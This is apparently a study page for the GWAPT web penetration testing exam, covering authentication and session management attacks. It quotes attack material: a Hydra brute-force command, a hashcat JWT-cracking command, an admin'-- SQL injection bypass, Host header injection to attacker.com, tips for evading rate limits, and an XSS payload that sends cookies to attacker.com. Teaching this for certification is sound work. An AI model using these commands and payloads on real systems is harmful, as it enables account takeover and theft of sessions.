GWAPT: Authentication & Session Management Attacks

#	Objective	This Page
1	Web Application Overview	—
2	Reconnaissance and Mapping	—
3	Web Application Configuration Testing	—
★ 4	Web Application Authentication Attacks	✓
★ 5	Web Application Session Management	✓
6	Web Application SQL Injection Attacks	—
7	Cross-Site Request Forgery, XSS & Client Injection Attacks	—
8	Web Application Testing Tools	—

Exam Questions

Time Limit

71%

Passing Score

2/8

Objectives Covered

"Authentication gets you in; sessions keep you in — attackers exploit both."

What This Page Covers

Objective 4 — Authentication Attacks: Understanding and exploiting authentication mechanisms including form-based, HTTP Basic/Digest, JWT, OAuth, and API key authentication. Techniques: username enumeration, brute force, credential stuffing, password spraying, bypass methods, password reset flaws, MFA bypass, and JWT-specific attacks.
Objective 5 — Session Management: How sessions work in stateless HTTP and what makes tokens secure. Attacking session entropy, exploiting cookie security attribute weaknesses, session fixation, session hijacking via XSS or network sniffing, SSL stripping, and testing session lifecycle (timeout, logout validity).

Exam Format — CyberLive

GWAPT uses CyberLive format — includes live virtual machine labs alongside multiple-choice questions
You interact with real web applications to demonstrate hands-on penetration testing skills
Proctored via ProctorU or Pearson VUE — schedule in advance
Certification valid for 4 years; renewal via 36 CPE credits or retake
Training: SANS SEC542 "Web App Penetration Testing and Ethical Hacking"

Key Tools for Objectives 4 & 5

Burp Suite: Proxy (intercept/modify), Intruder (brute force/enumeration), Repeater (session testing), Sequencer (token entropy analysis), Comparer (response differences)
Hydra: Online brute force tool — supports HTTP form-based, HTTP Basic, and many other protocols
jwt_tool: Python tool for all JWT attacks — alg:none, RS256→HS256 confusion, key brute force
jwt.io: Browser-based JWT decoder and inspector
sslstrip: SSL stripping MitM tool — downgrades HTTPS to HTTP to capture session cookies
rockyou.txt / SecLists: Password wordlists for brute force and credential stuffing

Objective 4 — Authentication Attacks

Authentication Mechanisms

Form-based: HTML login form POSTs credentials to server — most common; credentials in request body
HTTP Basic Auth: Credentials base64-encoded in Authorization header — NOT encryption; trivially decoded. Header: Authorization: Basic dXNlcjpwYXNz
HTTP Digest Auth: MD5 hash of credentials with server nonce — more secure than Basic but rarely deployed in modern apps
Token-based (JWT): Server issues signed JSON Web Token on login; client sends in Authorization: Bearer <token> header — stateless
OAuth 2.0: Delegated authorization — "Login with Google/GitHub"; grants access tokens; does not authenticate users directly
API Keys: Static string in header or query param — often long-lived, rarely rotated, high-value targets
Certificate-based (mTLS): Mutual TLS — client presents certificate to server; high-security APIs and microservices

Username Enumeration

Response content difference: "Invalid username" vs "Invalid password" — explicitly reveals valid usernames; most obvious form
Response size difference: Use Burp Comparer — spot subtle byte-count differences in otherwise identical-looking responses
Response time difference: Valid username triggers DB lookup (slower); invalid fails fast — timing side-channel; measure with millisecond precision
HTTP status code difference: 200 vs 401 — different codes for valid vs invalid usernames
Reset flow enumeration: "If this email exists, you'll receive a reset link" (safe) vs "Email sent to user@example.com" (leaks existence)
Registration flow: "Username already taken" error confirms existing accounts
Tool: Burp Intruder — Sniper mode with username wordlist; sort results by response length or time

Brute Force and Password Attacks

Online brute force: Automated guessing against live login form
- Hydra: hydra -l admin -P rockyou.txt http-post-form "//login:user=^USER^&pass=^PASS^:Invalid"
- Burp Intruder: Cluster bomb (username + password lists) or Sniper (password only)
Bypass rate limiting: Rotate IPs via proxy list, add delays between requests, rotate User-Agent strings, distribute guesses across multiple accounts
Credential stuffing: Leaked username:password pairs from breaches (HaveIBeenPwned); high success rate — users reuse passwords across sites
Password spraying: One common password (Password1!) tried across many accounts — avoids per-account lockout thresholds
Default credentials: admin/admin, admin/password, root/toor — always test before anything else; check vendor documentation
Common wordlists: rockyou.txt (14M passwords), SecLists Passwords collection, CeWL (site-specific custom wordlist)

Bypassing Authentication

SQL injection in login: admin'-- in username bypasses password check entirely — comments out the password condition
Forced browsing: Access authenticated pages directly by guessing URLs — server has no auth check despite client-side restriction
Parameter manipulation: Change role=user to role=admin, or id=123 to id=456 — broken object-level access control
Response manipulation: Server returns {"authenticated": false} — intercept in Burp Proxy, change to true before forwarding
Token forgery: Guess or predict session token value based on pattern analysis

Password Reset Flaws

Predictable reset tokens: Sequential integers, timestamp-based, or short tokens — brute-forceable in Burp Intruder
Token not invalidated: Reset link usable multiple times — tokens must be single-use and expire quickly (15-30 minutes)
Host header injection: Attacker changes Host: header in reset request → reset email contains attacker's domain URL → capture the token
- Send: Host: attacker.com → email contains http://attacker.com/reset?token=abc
- Victim clicks → attacker intercepts token → completes password reset as victim
Email enumeration: Reset response directly confirms whether email is registered — leaks valid account list
Race condition: Submit two reset requests simultaneously — both tokens valid simultaneously, or race corrupts intended invalidation
Token in URL: Token logged by proxy, browser history, and Referer header — use POST body or short-lived links

Multi-Factor Authentication (MFA) Bypass

OTP brute force: 6-digit OTP = 1,000,000 combinations — if no rate limiting or lockout, brute-forceable with Burp Intruder
OTP reuse: If OTP isn't invalidated after successful use — replay the same code in a second request
MFA fatigue / push bombing: Spam Authenticator push notifications repeatedly until user accidentally approves
SIM swapping: Social engineer carrier to port victim's phone number — intercept SMS OTPs; bypasses TOTP apps too
Backup code theft: Backup codes stored insecurely in plaintext DB or user stores them in email/notes
Step bypass: After submitting username/password, skip MFA step by directly navigating to the post-auth URL — server doesn't enforce MFA completion server-side

JWT (JSON Web Token) Attacks

JWT structure: header.payload.signature — three Base64url-encoded segments separated by dots
- Header: {"alg": "HS256", "typ": "JWT"}
- Payload: {"sub": "user123", "role": "user", "exp": 1234567890}
- Signature: HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)
Algorithm confusion — none attack: Change "alg": "HS256" to "alg": "none", remove signature entirely — server accepts if not validating algorithm
Algorithm confusion — RS256→HS256: If server uses RS256 (asymmetric), attacker switches to HS256 and signs with the public key — server verifies with same public key using HMAC, succeeds
Weak secret brute force: hashcat -a 0 -m 16500 token.jwt rockyou.txt — crack weak HMAC signing secret
Claim tampering: Decode payload, modify "role": "user" → "role": "admin", re-encode — exploitable when signature is not verified server-side
Tools: jwt.io (decode/inspect), jwt_tool (Python — all JWT attacks), hashcat (secret brute force)

Objective 5 — Session Management

Session Management Fundamentals

Sessions maintain state for HTTP's stateless protocol — server must track who is authenticated between requests
Server creates session after authentication: generates ID, stores mapping (session ID → user data) server-side
Session token delivered to client via Set-Cookie header in the authentication response
Each subsequent request includes the session cookie — server looks up associated user data and authorization
Session ID is just a reference — all sensitive data stays server-side (unlike JWTs which embed claims)

Session Token Properties & Analysis

Randomness: Must be cryptographically random (CSPRNG) — not sequential, not time-based, not derived from username
Length: Minimum 128 bits (32 hex chars) recommended — longer = exponentially harder to guess
Entropy analysis: Burp Sequencer — collect 100+ tokens, analyze statistical randomness patterns and bit-level entropy
Unpredictability: No pattern across token set — must resist prediction given a sample of known tokens
Weak patterns to test for: Sequential integers (session=1001), Unix timestamp-based, Base64 of username, MD5 of username+timestamp

Cookie Security Attributes

HttpOnly: Prevents JavaScript (document.cookie) from reading the cookie — mitigates XSS-based session theft; cookie still sent in HTTP requests normally
Secure: Cookie transmitted ONLY over HTTPS — prevents cleartext exposure on unencrypted connections
SameSite:
- Strict: Cookie never sent in any cross-site requests — strongest CSRF protection; may break OAuth flows
- Lax: Cookie sent with top-level navigation GETs only — moderate CSRF protection; default in modern browsers
- None: Cookie sent in all cross-site requests — requires Secure flag; legacy behavior for third-party contexts
Domain: Restricts which domains receive the cookie — .example.com (leading dot) includes all subdomains — dangerous if any subdomain is compromised
Path: Restricts which URL paths receive the cookie — rarely an effective security control; easily bypassed
Expires/Max-Age: Session cookies (no expiry) expire when browser closes; persistent cookies survive restarts — prefer session cookies for auth tokens

Session Fixation

Attack flow:
- 1. Attacker obtains a valid pre-authentication session ID from the target site
- 2. Attacker tricks victim into using that specific session ID (via URL param, cookie injection)
- 3. Victim authenticates — server associates victim's credentials with the attacker's known session ID
- 4. Attacker uses the same session ID — now authenticated as victim
Delivery mechanisms: URL parameter (?PHPSESSID=attacker_value), cookie injection via XSS or subdomain control, meta refresh
Prevention: Regenerate session ID on authentication — PHP: session_regenerate_id(true); destroy old session
Testing: Capture session ID before login → log in → check if session ID changed after authentication — same ID = vulnerable

Session Hijacking

XSS-based cookie theft: <script>document.location='http://attacker.com/steal?c='+document.cookie</script> — only works if HttpOnly NOT set on session cookie
Network sniffing: Capture session cookie on unencrypted HTTP — MitM on same network segment (coffee shop Wi-Fi scenario)
SSL stripping: Moxie Marlinspike's sslstrip — intercepts HTTPS links and serves HTTP to victim; capture session cookie in cleartext
HSTS defeats SSL stripping: Browser refuses any HTTP connection to HSTS-enrolled domains — session cookies with Secure flag protected
Session prediction: Analyze token patterns from Burp Sequencer — predict valid session IDs for other users
CSRF: Force authenticated user to make unintended requests using their valid session — cross-site request forgery; covered in Objective 7

Session Timeout & Lifecycle Testing

Idle timeout: Session expires after period of inactivity — typical: 15-30 minutes; test by waiting and replaying old token
Absolute timeout: Session expires regardless of activity (e.g., 8 hours) — limits window of exposure even for active users
Logout testing: Capture session token before logout → perform logout → replay token in Burp Repeater → if still valid, server-side logout is broken (client deleted cookie but server didn't invalidate)
Concurrent sessions: Test whether multiple simultaneous logins are allowed — policy decision, but failure to detect may enable persistent access after credential compromise
After password change: Existing sessions should be invalidated — test by changing password then replaying old session token

Six high-density memory hooks for exam day retention

Hook 01

JWT Structure

JWT has three parts: Header (algorithm), Payload (claims), Signature (proof). Each Base64url-encoded and joined with dots. You need all three — except when you don't.

"Hat.Pants.Signature — dressed for auth. No signature? Still walks in with alg:none."

Hook 02

JWT Algorithm None Attack

Change alg from HS256 to none in the header. Remove the signature (keep the trailing dot or remove entirely). If server doesn't validate algorithm, it accepts the unsigned token.

"None means no proof — change the algorithm, drop the signature, server trusts you anyway."

Hook 03

Cookie Security Trio

HttpOnly — JS can't read it (blocks XSS theft). Secure — HTTPS only (no cleartext). SameSite — blocks cross-site requests (CSRF defense). All three needed for full protection.

"HSS: Hard to Steal Securely — HttpOnly, Secure, SameSite. All three or it's exposed."

Hook 04

Session Fixation

Attacker FIXES the session ID before login. Victim AUTHENTICATES with that session. Attacker USES the now-authenticated session. Prevention: regenerate the session ID on every successful login.

"FIX, AUTH, USE — the three-step fixation attack. Regenerate on login = defense."

Hook 05

Host Header Injection — Password Reset

Server builds the reset URL using the Host header from the request. Attacker sends Host: attacker.com. Victim's reset email contains a link pointing to attacker's domain. Attacker captures the reset token.

"Control the Host header, steal the token — the reset link goes wherever you tell it."

Hook 06

Burp Sequencer

Sequencer collects many session tokens and performs statistical entropy analysis on the bit-level randomness. Low entropy means predictable tokens — an attacker can enumerate valid sessions. Always run Sequencer before concluding session tokens are secure.

"Sequencer measures entropy — low entropy = predictable tokens = session game over."

10 vignette-style scenario questions — select your answer to reveal the explanation

Question 1 of 10

Questions correct out of 10

Click any card to flip — front shows the concept, back shows the detail

Click a category to expand — prioritize areas you're least confident in

Official references and tools for GWAPT Objectives 4 & 5

Official

GIAC GWAPT Certification Page

Official exam objectives, registration, and exam format details from GIAC.

Visit →

OWASP Reference

OWASP Testing Guide — Authentication

Comprehensive authentication testing methodology — username enumeration, brute force, MFA bypass, and more.

Visit →

OWASP Reference

OWASP Testing Guide — Session Management

Session token analysis, cookie attribute testing, fixation and hijacking methodology.

Visit →

PortSwigger Labs

PortSwigger JWT Attacks

Hands-on JWT labs covering alg:none, RS256→HS256 confusion, weak secrets, and claim tampering.

Visit →

Tool

jwt.io — JWT Decoder

Browser-based JWT decoder — inspect header, payload, and signature of any JWT token instantly.

Visit →

Intelligence

HaveIBeenPwned

Check email addresses and passwords against known breach databases — used in credential stuffing context.

Visit →